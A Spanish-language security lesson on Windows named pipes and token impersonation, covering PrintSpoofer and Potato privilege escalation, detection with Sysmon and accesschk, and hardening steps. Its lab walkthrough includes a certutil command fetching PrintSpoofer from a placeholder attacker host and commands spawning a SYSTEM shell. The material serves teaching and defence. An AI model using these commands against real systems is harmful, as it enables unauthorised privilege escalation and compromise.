Named pipes en Windows: IPC, impersonation y escalada de privilegios

Los named pipes son uno de los mecanismos de comunicación entre procesos (IPC) más antiguos y utilizados en Windows. Aparecieron con LAN Manager en los años ochenta y hoy siguen siendo el transporte subyacente de servicios críticos como el Print Spooler, SQL Server, SMB y gran parte de la infraestructura de RPC. A diferencia de los sockets TCP, los named pipes viven en el espacio de nombres del kernel (\Device\NamedPipe\) y ofrecen una característica única: impersonation. El servidor del pipe puede asumir temporalmente la identidad del cliente que se conecta.

Esa funcionalidad, diseñada para que un servicio atienda peticiones con el nivel de privilegio del usuario que las hace, se convierte en un vector de escalada de privilegios cuando un atacante logra que un proceso con privilegios altos —por ejemplo, el servicio Spooler corriendo como NT AUTHORITY\SYSTEM— se conecte a un pipe controlado por el atacante. Herramientas como PrintSpoofer, RoguePotato, GodPotato y EfsPotato explotan exactamente este patrón para saltar de un servicio con SeImpersonatePrivilege a una shell como SYSTEM.

Es la sexta lección de la Tanda 10 de /aprende. Aquí vas a entender la mecánica interna del pipe, la API de impersonation, los ataques reales que la abusan y las defensas concretas que cierran el camino.

Todo lo expuesto en esta lección debe practicarse exclusivamente en entornos autorizados: laboratorios propios, máquinas virtuales o plataformas como whoami-labs. Ejecutar estas técnicas en sistemas ajenos sin permiso es un delito.

Qué es un named pipe#

Un named pipe es un canal de comunicación con nombre accesible desde \\.\pipe\NombreDelPipe (local) o \\servidor\pipe\NombreDelPipe (remoto vía SMB). A diferencia de un anonymous pipe (usado para redireccionar stdout entre procesos padre-hijo), el named pipe tiene un nombre persistente en el espacio de nombres del Object Manager de Windows y permite comunicación bidireccional, conexión remota y, crucialmente, impersonation del token del cliente.

El ciclo de vida de un named pipe sigue este orden:

• El servidor llama a CreateNamedPipe() definiendo nombre, modo (byte o message), dirección (duplex, inbound, outbound) y seguridad.
• El servidor invoca ConnectNamedPipe() y queda bloqueado esperando una conexión.
• El cliente abre el pipe con CreateFile() usando la ruta \\.\pipe\NombrePipe.
• Ambos intercambian datos con ReadFile() / WriteFile().
• Si el servidor tiene el privilegio adecuado, puede llamar a ImpersonateNamedPipeClient() para adoptar el security context del cliente.

El Object Manager almacena los pipes bajo \Device\NamedPipe\. Puedes enumerarlos con herramientas como pipelist.exe (Sysinternals), Get-ChildItem \\.\pipe\ en PowerShell, o el comando handle.exe.

Por qué ocurre: la causa raíz#

La raíz del problema es que impersonation es una característica legítima del diseño de Windows, no un bug. El modelo de seguridad permite que un servidor de pipe asuma el token del cliente para realizar operaciones en su nombre. La API ImpersonateNamedPipeClient() fue pensada para que servicios como el Spooler o SQL Server pudieran acceder a recursos con los permisos del usuario que hace la solicitud, no con los del servicio.

El problema aparece cuando se cumplen tres condiciones simultáneas:

• El atacante puede crear un pipe y esperar conexiones.
• Un proceso con privilegios altos (SYSTEM, Network Service) se conecta al pipe del atacante.
• El atacante tiene el privilegio SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege, que poseen por defecto las cuentas de servicio (IIS AppPool, SQL Server, servicios Windows).

Windows otorga SeImpersonatePrivilege a todas las cuentas de servicio porque lo necesitan para funcionar. Sin embargo, si un atacante obtiene ejecución de código dentro de uno de esos servicios —por ejemplo, mediante una webshell en IIS—, hereda ese privilegio y puede explotarlo.

Tipos y variantes de abuso#

Todas las variantes siguen el mismo patrón fundamental: forzar un proceso SYSTEM a conectarse a un pipe controlado por el atacante y luego llamar a ImpersonateNamedPipeClient() para robar el token.

Cuándo es explotable#

El escenario clásico aparece cuando el atacante tiene:

• Ejecución de código como cuenta de servicio: webshell en IIS, ejecución en SQL Server (xp_cmdshell), MSSQL con EXEC, servicio comprometido, Jenkins/TeamCity agent.
• SeImpersonatePrivilege habilitado: se verifica con whoami /priv. Todas las cuentas de servicio lo tienen por defecto.
• Un servicio víctima activo: el Spooler para PrintSpoofer, DCOM/RPCSS para variantes Potato. El Spooler suele estar habilitado incluso en servidores donde nadie imprime.

Puedes verificar los requisitos así:

whoami /priv
# Buscar SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege

Get-Service Spooler
# Status: Running → PrintSpoofer viable

sc query spooler
# STATE: RUNNING → confirma en CMD

Si el Spooler está deshabilitado, las variantes Potato (que usan DCOM) siguen funcionando porque RPCSS no puede desactivarse. GodPotato funciona en Windows 10/11 y Server 2016-2022 sin dependencia del Spooler.

Cómo se detecta#

Detección manual#

Herramientas de auditoría#

• PipeAudit (secwiki): enumera todos los named pipes del sistema con sus ACLs y el owner. Identifica pipes con permisos laxos que cualquier usuario puede escribir.
• Sysmon (evento ID 17 y 18): registra creación de pipes y conexiones. La regla de detección busca pipes creados por procesos no habituales.
• Accesschk.exe (Sysinternals): muestra los permisos DACL de cada pipe.

# Enumerar pipes con PowerShell
Get-ChildItem \\.\pipe\ | Select-Object Name

# Accesschk para ver permisos de un pipe específico
accesschk.exe -accepteula \pipe\spoolss

# Sysmon config para monitorear pipes
# Evento 17: PipeCreated, Evento 18: PipeConnected

Explotación paso a paso en un laboratorio#

Paso 1: obtener shell como cuenta de servicio#

En el laboratorio, asume que has obtenido una webshell en IIS o ejecución de código en un servicio Windows. Tu usuario es IIS APPPOOL\DefaultAppPool o NT AUTHORITY\LOCAL SERVICE.

whoami
# iis apppool\defaultapppool

whoami /priv
# SeImpersonatePrivilege    Enabled
# SeAssignPrimaryTokenPrivilege Enabled

Paso 2: verificar servicios víctima#

sc query spooler
# SERVICE_NAME: Spooler
# STATE      : 4  RUNNING

# Si el Spooler está deshabilitado, DCOM sigue activo:
sc query rpcss
# STATE      : 4  RUNNING

Paso 3: ejecutar PrintSpoofer#

Descarga PrintSpoofer.exe (itm4n) en la máquina víctima. En un laboratorio puedes usar certutil, PowerShell o un directorio compartido.

# Transferir el binario
certutil -urlcache -f http://IP_ATACANTE:8000/PrintSpoofer64.exe C:\Temp\ps.exe

# Ejecutar para obtener shell SYSTEM
C:\Temp\ps.exe -i -c powershell.exe

El flag -i indica modo interactivo y -c el comando a ejecutar con el token SYSTEM robado. Si todo funciona, obtienes:

[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
PS C:\Windows\system32> whoami
nt authority\system

Paso 4: alternativa con GodPotato si el Spooler está deshabilitado#

# GodPotato no depende del Spooler
C:\Temp\GodPotato.exe -cmd "cmd /c whoami > C:\Temp\out.txt"

type C:\Temp\out.txt
# nt authority\system

Paso 5: verificar el token obtenido#

whoami /all
# User: NT AUTHORITY\SYSTEM
# Privileges: todos habilitados

# Leer la flag del laboratorio
type C:\Users\Administrator\Desktop\flag.txt

Qué puede lograr un atacante#

Cómo se corrige#

Deshabilitar el Print Spooler donde no se necesite#

La primera medida, recomendada por Microsoft desde CVE-2021-1675 (PrintNightmare), es deshabilitar el servicio Spooler en servidores que no imprimen.

# Deshabilitar Spooler
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

# Verificar
Get-Service Spooler
# Status: Stopped

Revocar SeImpersonatePrivilege donde sea posible#

En cuentas de servicio que no necesitan impersonation, se puede revocar el privilegio vía GPO.

Computer Configuration → Policies → Windows Settings → Security Settings
  → Local Policies → User Rights Assignment
    → "Impersonate a client after authentication"
    → Quitar la cuenta de servicio de la lista

Precaución: IIS y SQL Server necesitan el privilegio para funcionar correctamente. Solo revocarlo en servicios custom donde se haya verificado que no lo requieren.

Monitorear creación de pipes con Sysmon#

<!-- sysmon-config: monitorear pipes sospechosos -->
<PipeEvent onmatch="exclude">
  <PipeName condition="is">\PSHost</PipeName>
  <PipeName condition="is">\wkssvc</PipeName>
</PipeEvent>

Los eventos Sysmon 17 (PipeCreated) y 18 (PipeConnected) revelan pipes con nombres aleatorios creados por procesos inusuales.

Segmentación de cuentas de servicio#

Usar Group Managed Service Accounts (gMSA) con privilegios mínimos. No correr aplicaciones web como LocalSystem; usar cuentas dedicadas con los permisos justos.

Windows Defender Credential Guard#

Credential Guard aísla LSASS en un contenedor virtualizado, reduciendo el valor de un token SYSTEM robado porque las credenciales en memoria no son accesibles directamente.

Parches y actualizaciones#

Mantener Windows actualizado. Microsoft ha parcheado variantes de Potato en cada release mayor. JuicyPotato no funciona desde Windows Server 2019. PrintSpoofer fue mitigado parcialmente en actualizaciones posteriores a PrintNightmare (julio 2021).

Errores comunes al defenderse#

• Deshabilitar Spooler pero olvidar DCOM: las variantes Potato usan DCOM, que no puede desactivarse. Hay que combinar múltiples controles.
• Dejar SeImpersonatePrivilege en cuentas que no lo necesitan: muchos administradores nunca revisan los User Rights Assignment.
• No monitorear named pipes: sin Sysmon o EDR configurado para eventos de pipe, el ataque es invisible.
• Asumir que los parches resuelven todo: cada parche bloquea una variante específica, pero nuevas técnicas (GodPotato, 2022; CoercedPotato, 2023) siguen apareciendo.
• Correr IIS como LocalSystem: por comodidad en desarrollo, algunos equipos dejan IIS con el máximo privilegio en producción.
• Ignorar servicios internos: servicios custom escritos en .NET o C++ que crean pipes sin ACLs adecuadas son un vector silencioso.

Preguntas frecuentes#

¿PrintSpoofer sigue funcionando en Windows Server 2022?#

Depende del nivel de parches. En instalaciones completamente actualizadas a noviembre de 2024, el vector original de PrintSpoofer (abuso del pipe del Spooler con RpcRemoteFindFirstPrinterChangeNotificationEx) está mitigado. Sin embargo, GodPotato y variantes más nuevas siguen funcionando porque usan DCOM en lugar del Spooler.

¿Qué diferencia hay entre JuicyPotato y GodPotato?#

JuicyPotato (2018) requería un CLSID válido y un listener COM local; fue parcheado en Server 2019 eliminando la capacidad de especificar el puerto COM. GodPotato (2022) no necesita servidor COM externo: marshaling del OXID resolver directamente, funcionando desde Server 2016 hasta Server 2022.

¿Se puede explotar sin SeImpersonatePrivilege?#

No directamente. Sin ese privilegio, ImpersonateNamedPipeClient() falla con ERROR_ACCESS_DENIED. Sin embargo, si tienes SeAssignPrimaryTokenPrivilege (raro en cuentas de servicio estándar), puedes usar CreateProcessWithTokenW como alternativa.

¿Los named pipes son vulnerables remotamente vía SMB?#

Sí, los named pipes son accesibles vía SMB (puerto 445). Un atacante remoto puede conectarse a \\servidor\pipe\NombrePipe. Sin embargo, la impersonation remota produce un token de nivel Identification, no Impersonation, lo que limita su abuso. El ataque de escalada local requiere conexión local al pipe.

¿Cómo audito todos los pipes de un servidor en producción?#

Usa accesschk.exe -accepteula \pipe\* para listar pipes con sus ACLs, o Get-ChildItem \\.\pipe\ | Measure-Object para contar. Un servidor típico tiene entre 40 y 120 pipes activos. Investiga cualquiera con permisos de escritura para Everyone o Authenticated Users.

¿Credential Guard protege contra este ataque?#

Credential Guard no impide la escalada a SYSTEM — el atacante sigue obteniendo el token. Lo que protege es que las credenciales almacenadas en LSASS (hashes NTLM, tickets Kerberos) quedan aisladas en el VBS (Virtualization-Based Security), así que el atacante no puede volcarlas con herramientas como Mimikatz incluso siendo SYSTEM.

Resumen#

• Los named pipes son un mecanismo IPC de Windows con soporte nativo de impersonation de tokens.
• El abuso consiste en forzar un proceso SYSTEM a conectarse a un pipe controlado por el atacante, quien luego llama a ImpersonateNamedPipeClient() para robar el token.
• PrintSpoofer explota el Print Spooler; las variantes Potato (Rogue, God, EFS) usan DCOM u otros servicios.
• El requisito es tener SeImpersonatePrivilege, presente en todas las cuentas de servicio por defecto.
• Las defensas clave son: deshabilitar el Spooler donde no se use, revocar privilegios innecesarios, monitorear pipes con Sysmon, usar gMSA y mantener parches actualizados.
• Cada parche bloquea una variante, pero nuevas técnicas siguen apareciendo: la defensa en profundidad es obligatoria.

Fuentes y lecturas recomendadas#

• PrintSpoofer - itm4n blog
• GodPotato - BeichenDream
• Named Pipes - Microsoft Win32 documentation
• ImpersonateNamedPipeClient function
• MITRE ATT&CK T1134.001 - Token Impersonation/Theft
• Sysmon Pipe Events - Microsoft
• Rotten Potato, Juicy Potato, Rogue Potato - foxglovesec / decoder-it
• CVE-2021-1675 PrintNightmare - MSRC